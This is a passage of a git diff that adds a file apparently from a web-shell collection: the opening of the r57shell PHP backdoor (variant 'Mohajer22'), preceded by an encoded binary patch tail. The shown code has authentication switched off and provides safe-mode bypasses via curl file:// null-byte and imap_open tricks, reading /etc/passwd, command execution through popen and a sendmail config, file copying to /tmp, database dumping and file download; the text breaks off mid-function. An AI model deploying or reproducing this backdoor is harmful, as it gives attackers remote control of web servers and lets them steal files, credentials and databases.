z{{i&tnP2_$Yi#@*=f&m^!BR-W?M19}T(({qz7&wZ8H(fbGSkKuv$Dns?#26(o)XfQ zsz#vJaO?j5E#6meSc=KdZUL%TS}Krp87f2N-gjG;4A5jV6DzvrrjkfW61fMCw#Uw# zAR8$eKv$mHUtmoUh*oL>l*D_2#1&KLI9kNJ!NaW6qAOP43YE6325zDqe{iDdE2rjK zrC66g6&CD=PSdQcSddwaIMR=F9{bQ`y7@PZa>-R$pxA)KDfOsq)q6S@(qc_WQv>q+ zb1aex#B~DK?>hIQa^kAHqb-OG?e<!yI^~)q1b3r{f~QzSm%P*@2r+^&#duMzlwmt( zQ+S=7uz*bgOecdwI^OBjq$yKn4t(bTEB*2h!zmL5G_;~}4xq_)b4$uVS{C(z;%>fC ziIUyD^1I{e)BJfPMV3vTgekhAacWbFx{87PuWT@^zG;7W*0a)O68H3iZm_5qCB(K+ z*;2J|5naZ{WstlP$djcGguMt8-;-Q#vndI%c>PKtX7_X5QrwU>_%|Pg-c_A-z*gaC z*%rEc;%hfe(W=7IoTm3pi^i*Cw9A<>gz*!AcL{l`Bkh8j5NuN{h1D3TtbB5w3Vmyl zu~DQBtt1}U{rat;?jhC}ejA8u3@iZ?`hh=uk9%Dg{1FTPWj=G&Lvc%0(aw_>ORq(x znFd)!Qr)C|B+DP>@3~ny+1j*Yw6W|3#VoGO#T7@)jz+E;o%kM|0pN={8xCtq{IEu1 zmJ}Q2Eaq@Z#5dx+L8%s6kaphw+HbTFKqM{aF~DKG*Ft_sV-|l(9}NhaWknr_Wg5@i z?58`D;@@s@7}|-|t9X|L$mu1tp(C^i5gxOK77{xeQH$Ux{7r`VPYb;vj5GMUQFDK= zbhE!%yv-qjFi20*)EZj(roMiW!rM>#RFsz(AOfS#0viyAz`RDlA7Ok&MlmB`aJG6w z))IlvpG#YX{Z@Uw`r1R;9DvcNU<=1>krO11hf$DW0F8SGBsRUG<9CzccY~0xK>g1E ztZ2Pd@2Lu*2*?4l>+i$?_rtA)qgp~5f_^L(NQaJJff|_RX3rlh0~_QMU~5Dbm?zk^ zy2PP{z;LF3Bd7HzS(IND`qe|f#?ZfYmW4aa^ivfvfBGE4oTivNMK*O1KaeIbr(#%~ z(UD!Qw|PR!am|ER#t6@rSYRzN{@~9=Ow~x{o6DKm{ieJ;1n{n*_%Ka@w~59@>cbM% zJ?iJMUp^`GG)o>+(!+?@Im_+**s%7RUsnRRJ#^N0R^0kP*D`?5N$GW)LLh>cLB2GQ z&Pu1$X@ME*(=LJ0sneW?J?kE-3-}!VC70nz1gWj9rq-l0)T8=K^>wS7mSB;oZA|Ss zUlW2bt`2i!I-%S*45cuMlGwD^<xfSO^e<n4JMZt_LiMN$kuRYA3NK~L3>i{6wvkb( ziRK`?9NjDc?#Mr1IlZmZM94nV>tQd^L@*n0@x7t#of{4ZH<+5P?e7to%r7PLe_g$P zxl@{SeIC)(A^+-m#~1m^*RHlbkQX+gew7cy36&zBx_c}Fx!&)VY#hiBtL)Ow1F&oR zD<%6|V+d_e`O6j((qf1E+3wGC+_o&{5%^)H7W?7t<TCr||Jnh5?UBDW?f>r{YiRwG z-tbV3x)Gzk&#l7cYi__O>|*m3q6o|>rtS>u;gJVUX2NsY=XbURb{(m&K*YJCn{fV> zD^P9#Y=ee?0!WO!^{uNtd@u!>+m?ZIh`}iNZ(e~CF&BaGi4A10V)1bTW-lC@90(-! z`2r~p?{b0DX+VAL6d(SUCkRFg1pHbyf2)MRskj>;V)2Z$6^;o|m=^5-U!Ly@X7&Sp zy8_KW*k!o9<w$<Y6Ltj(=)VHp#`1)$2?L3c`l)!BWm!kQIRn0>1vPOXvL5eV{1V2a zfvGZu7&y-O@Q+PN{;^s%_k<{K@-|OaBj(*-mJxn_N5Y!98GGAdjU~v1KIiqZ?dnod zt!29QkA(*PP<8uOZi1;~TuO+&H&&OmRGOp|56kr(Mbi|4Z~a2g%$Wmu{2g(Pxe+1h zo<wme4eKhKQ(8~nkCpwg4+HLd2@z0auyL!-NMLu8rfd<D&}Qp<*#=^b0?V}akMBj` z`;HuCdlc|h_?{$vv{Oh%CyQVm!iF@>WlE7yqUuK;Gc|g8E5nZ`B?TSb?|e<YHmp0z z;)?0)FaoT8X!(yXEgRe|BcER#*RwJ!B{3J093mQTUdPBu@!%G3;4s#Aut>QwQj}{d zIU-&&9R1Q=T-{_=U*avYaQY-xj8`2(5%n7xQh~clkkUMX)j%Li=QRm|KYYWDbxq}R zAr~$OaHsXzQ##<fvhWx_Q*{N3<939j0U^0lKhW9_ee`#OEwh>Yy<va6ij;sf`{V4b zCk0S)n!-e$7fS&>$>|V1KeVr=0j4LC28I^>O;(Qw=Ekyx?%!LU!$w#f>qDNsrm>>} z-(y5^on&&L;i(H_>svRMwyY2__{Snc9G0z%1X`-yjiGe|*UiMvAxmh^qov8&F*Tw4 zPm#CSXEC6FWa&M0jwggj{@#jLp#O*cmz`2Iyfm;fG%zU5{<<T$o%-0l6tmvX-@Nw$ zxYRWB`|9H$^!+fQ|8Dx(0=5l5!OhB|2wgkzdapp=BWZs?;tF0n#(wPfAECJ*yB{Xr z+7JB>V8^~6*T4GVci6MsuYUN|4}SxL|1}=|LI?QO5C5zB;W{Yx8}^)|Amr(ue6SmD zRg_`R*y4zRAtxc{4S^Tcr2tepNg*4Ex3&Nze+@(LE6@W%$Y#e5AgQzT^^VA@h8Ui8 zb;Bwtvq{Qi;XMZxqeKe;lKg2?;FKvII1S5v{{yP(+wbP9vE+vAMn>7x^30b)Nr3Ea zz_bLp>lPuZ_+}~p^j8d?`iX!QZ%FnOcm}LCSyv=Xt6m@((-E>I%83*(zR1TUVU|Bp zR50+ff;4*a<}nmr^pC2#f>Q@mDk6r77RHl8UfdCIs(MEm%2c+W&7(BQfF#4=E%rWF zL0K_;8Egj~e7V-Zimo|T@$Kc35ypw?adNV|uZ8@!`PNU`qye1by`h}Y_;20x6FW+u z)P?LCMuxwH>j!9uYwU6?@?B=d+Zj)X3}rp3muD0@OwgovERC$e8w};BIW@_cNJ)Kb z!Joy9LP3bgbP&)eAh)UX!zpjXU=<eDO$=`U&V=VQ1Lfy`>elfX@%jV)|JygAUv>I( zH^#s3ClMgufK;meS6NdzIT7?5evcFW^HT|)=I@&U_w;2+P~2HA6uQCw&FS0Yq%!MJ zQ@NsTcNL6*cQ5SA7h+@iF4bO&5PD6B`f*s%k27x&FY`IE2}|7|zoQ}QmxvOTa5n}a zUON>>QRt%Rkeli5ixSe*JZ9MVt6RFEJ$!x7Uq%ePXzc`TqchqD@_YMvZ4*Q{-?ms5 zeSl5#O$n7zkS`-C2D}=X3~SH3b*U8*-4S(WQ+gILL*UVN!vCD#w3QtzqU=lqp@nI1 zBD?VZu(IaI75C!Ytz^!9U&186=F+^b!v_SpV1~0}xXb2-?cTe}(T9Ns@<FdN>IG#* zzd1C!c+{p(j640G)lRyluVp&TcEy^q{(F2kkBWq^+R|mmw>WRh?01z<r~j#YZU6PX z`RBFkS&mJ5wNEr$k~w1Let`{wzZzXdt~+byoZIYiv1Ipq;pp1s{#&QSyo`!IC8gL_ znbw+;Q^Ip#&W3|e<}JB4ZR+yOT{ADg*W1#oyUcrUl#FVN;bN7*ydER1*4*V2Jk+{0 zLoXR^{|;Q_vqtdh>hJykCKX576ugq-PT#qGd%e~5@ZG5bt5%&_&37%7fkjy+mzi04 zq3N|771b_wsu9s18#3m5Zn)E%(~^3cErH`<A6rE6dsmTHB|q!m9yz+be*SY|ZRd+6 zi_;%!&i39^KHX#2v|!a;788$jF&ilJI3za}cTM7DcK6?y?7i9IqwO1c6Rl#Y)l;1( zp6XrPd{iVby!`WjhD#S#zS$T5%UR*W3y(kcWi~tRDt@TGt5URJqRqjg_mkFe*c&xB zaXgkdYJOy1XkX*%sHmGaUGocTmwKvXXNsA7XT^T|vtQ5Sfu7+cHbzU0wYu;3hyG_+ zx?$Pvc;M*Ek|Q^+=WKbc_AzGKFS7}~OJ7}^_HF)0-G-LFnEW8F#Lts^ZywJHi;lQ; zyQ1A;bDL=2Eq>8g+#=Zr0+z`xs5Q`7v?*5p>lUv5`1${yXdKqK`rbyE_wU}dM=}@1 z#yotx_~#P;EuuPQe-3LbX*;2=(mZ*px3$_<-<+4b>TlOS6s`VK+o!L7UfeFCUOj*M z_lje8%8ykp>RL6cIQsYf-;@7Lzti2f&iu`Oi~8ASu6x%`Yks8Np_AkIxg_(5f41}y zxri$sE<Q`yYK}jakbEp5%DS(2X+-w2OR`!A7wrC6^DAey=_c>)QtlR~2UCtcKK0<s zb710mHue73YiybOynpJSN-^7&Hp|9%(QV*vpqEeczUcZ@F3I*dvsNYgOpc279>G@} z=h%w7KJL<3Sug(e&n43rf9pMf2P!)%(%>*<Mr1Q%*?aasu>=kpB&;<D9x}ghQ5VC~ z1^*dNxW)hav>TWvDz)bJ|7p?P{~CBuxuL6Q$v@LqKL5nZ;_N?$cl7tzxGtBi4l%RO zohQG!c9Xw$+9R{K=gc1WB#U0iDi_x8{1cm{nwV#@n#Xnil-%mr9dfs4%LluPTGVg; zTcWrA_~*Y~@xs9Iva|mg-XveOpJQs@vj2(S<^8Yc0V}X2ovxw=|A4c+{4cuxGfbcG zwSG>&_XqzrlYZfS>$6wil6>S*vQk86z2Kc~&6%eJDo#E&eRy9)*<+vDk5)ma6}yug zUpc5;bhX-lEUy2H@zOu4pZ<D<&;R6alK&etZTw=j*Yg*P8i9fAz)A*||9=wzBcClt literal 0 HcmV?d00001 diff --git a/php/PHPshell/【r57_Mohajer22】/r57_Mohajer22.php b/php/PHPshell/【r57_Mohajer22】/r57_Mohajer22.php new file mode 100644 index 0000000..0fc3204 --- /dev/null +++ b/php/PHPshell/【r57_Mohajer22】/r57_Mohajer22.php @@ -0,0 +1,2369 @@ +<?php + + +/******************************************************************************************************/ +/* +/* # # # # +/* # # # # +/* # # # # +/* # ## #### ## # +/* ## ## ###### ## ## +/* ## ## ###### ## ## +/* ## ## #### ## ## +/* ### ############ ### +/* ######################## +/* ############## +/* ######## ########## ####### +/* ### ## ########## ## ### +/* ### ## ########## ## ### +/* ### # ########## # ### +/* ### ## ######## ## ### +/* ## # ###### # ## +/* ## # #### # ## +/* ## ## +/* +/* +/* +/* r57shell.php - ñêðèïò íà ïõï ïîçâîëÿþùèé âàì âûïîëíÿòü ñèñòåìíûå êîìàíäû íà ñåðâåðå ÷åðåç áðàóçåð +/* Âû ìîæåòå ñêà÷àòü íîâóþ âåðñèþ íà íàøåì ñàéòå: http://rst.void.ru +/* Âåðñèÿ: 1.3 (05.03.2006) +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* Îòäåëüíàÿ áëàãîäàðíîñòü çà ïîìîùü è èäåè: blf, phoenix, virus, NorD è âñåì ÷åðòÿì èç RST/GHC. +/* Åñëè ó Âàñ åñòü êàêèå-ëèáî èäåè ïî ïîâîäó òîãî êàêèå ôóíêöèè ñëåäóåò äîáàâèòü â ñêðèïò òî ïèøèòå +/* íà rst@void.ru. Âñå ïðåäëîæåíèÿ áóäóò ðàññìîòðåíû. +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* (c)oded by 1dt.w0lf +/* RST/GHC http://rst.void.ru , http://ghc.ru +/* ANY MODIFIED REPUBLISHING IS RESTRICTED +/******************************************************************************************************/ +/* ~~~ Íàñòðîéêè | Options ~~~ */ + +// Âûáîð ÿçûêà | Language +// $language='ru' - ðóññêèé (russian) +// $language='eng' - english (àíãëèéñêèé) +$language='eng'; + +// Àóòåíòèôèêàöèÿ | Authentification +// $auth = 1; - Àóòåíòèôèêàöèÿ âêëþ÷åíà ( authentification = On ) +// $auth = 0; - Àóòåíòèôèêàöèÿ âûêëþ÷åíà ( authentification = Off ) +$auth = 0; + +// Ëîãèí è ïàðîëü äëÿ äîñòóïà ê ñêðèïòó (Login & Password for access) +// ÍÅ ÇÀÁÓÄÜÒÅ ÑÌÅÍÈÒÜ ÏÅÐÅÄ ÐÀÇÌÅÙÅÍÈÅÌ ÍÀ ÑÅÐÂÅÐÅ!!! (CHANGE THIS!!!) +// Ëîãèí è ïàðîëü øèôðóþòñÿ ñ ïîìîùüþ àëãîðèòìà md5, çíà÷åíèÿ ïî óìîë÷àíèþ 'r57' +// Login & password crypted with md5, default is 'r57' +$name='7fea0708f4bc4266ab5efcd242028106'; // ëîãèí ïîëüçîâàòåëÿ (user login) +$pass='a66abb5684c45962d887564f08346e8d'; // ïàðîëü ïîëüçîâàòåëÿ (user password) +/******************************************************************************************************/ +if(empty($_POST['Mohajer22'])){ + +} else { +$m=$_POST['Mohajer22']; +$ch = +curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +} + + + +$string = !empty($_POST['string']) ? $_POST['string'] : 0; +$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0; + +if ($string && $switch == "file") { +$stream = imap_open($string, "", ""); + +$str = imap_body($stream, 1); +if (!empty($str)) +echo "<pre>".$str."</pre>"; +imap_close($stream); +} elseif ($string && $switch == "dir") { +$stream = imap_open("/etc/passwd", "", ""); +if ($stream == FALSE) +die("Can't open imap stream"); + +$string = explode("|",$string); +if (count($string) > 1) +$dir_list = imap_list($stream, trim($string[0]), trim($string[1])); +else +$dir_list = imap_list($stream, trim($string[0]), "*"); +echo "<pre>"; +for ($i = 0; $i < count($dir_list); $i++) +echo "$dir_list[$i]"."<p>&nbsp;</p>" ; +echo "</pre>"; +imap_close($stream); +} + + +if ($_POST['plugin'] && ($submit == "Show")){ + $param1 = $_POST[param1]; + $param2 = $_POST[param2]; + + switch($_POST['plugin']){ + case("cat /etc/passwd"): + for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd + $ara = posix_getpwuid($uid); + if (!empty($ara)) { + while (list ($key, $val) = each($ara)){ + print "$val:"; + } + print "<br>"; + } + } + + break; + + case ("/bin/ls"): + if($param1){$exec = "/bin/ls ". $param1;} + else{$exec = "/bin/ls";} + $fp = popen("$exec", "r"); + print $fp; + pclose($fp); + break; + + case("tempnam"): + $cmd = $param1; + $script=tempnam("/tmp", "script"); + $cf=tempnam("/tmp", "cf"); + $fd = fopen($cf, "w"); + fwrite($fd, "OQ/tmp Sparse=0 R$*" . chr(9) . "$#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script"); + fclose($fd); + $fd = fopen($script, "w"); + fwrite($fd, "rm -f $script $cf; "); + fwrite($fd, $cmd); + fclose($fd); + break; + + case("/tmp"): + $target_file= $param1; + if (!$param2){$tmp_file="/tmp/tmp.ghc";} + else{$tmp_file = $param2;} + print copy($target_file, $tmp_file); + + $handle = fopen ($tmp_file, "r"); + while (!feof ($handle)) { + $buffer = fgets($handle, 4096); + echo $buffer; + } + fclose ($handle); + break; + + } + } + +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = "1.3"; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="r57shell"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>"); + } +} +$head = '<!-- Çäðàâñòâóé Âàñÿ --> +<html> +<head> +<title>MOHAJER22</title> +<meta http-equiv="Content-Language" content="en-us"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> + +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +BACKGROUND-COLOR: #000000; +COLOR:red; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +BACKGROUND-COLOR:black; +} +.table1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +BACKGROUND-COLOR: #000000; +} +.td1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +font: 7pt Verdana; +} +.tr1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +} +table { +BORDER-RIGHT: #eeeeee 1px outset; +BORDER-TOP: #000000 1px outset; +BORDER-LEFT: #eeeeee 1px outset; +BORDER-BOTTOM: #000000 1px outset; +BACKGROUND-COLOR: #000000; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #000000; +COLOR: #ffffff; +font: Fixedsys bold; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #993333; +COLOR: #ffffff; +font: 8pt Verdana; +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR:black; +COLOR: #ffffff; +width: 40%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #000000; +COLOR: #ffffff; +font: Fixedsys bold; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +BACKGROUND-COLOR:black; +COLOR: #ffffff; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:red;TEXT-DECORATION: none} +</STYLE>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + $this->dump[] = '## under construction'; + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + default: + return 0; + break; + } + } + } +if(isset($_GET['img'])&&!empty($_GET['img'])) + { + $images = array(); + $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; + $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; + @ob_clean(); + header("Content-type: image/gif"); + echo base64_decode($images[$_GET['img']]); + die(); + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + 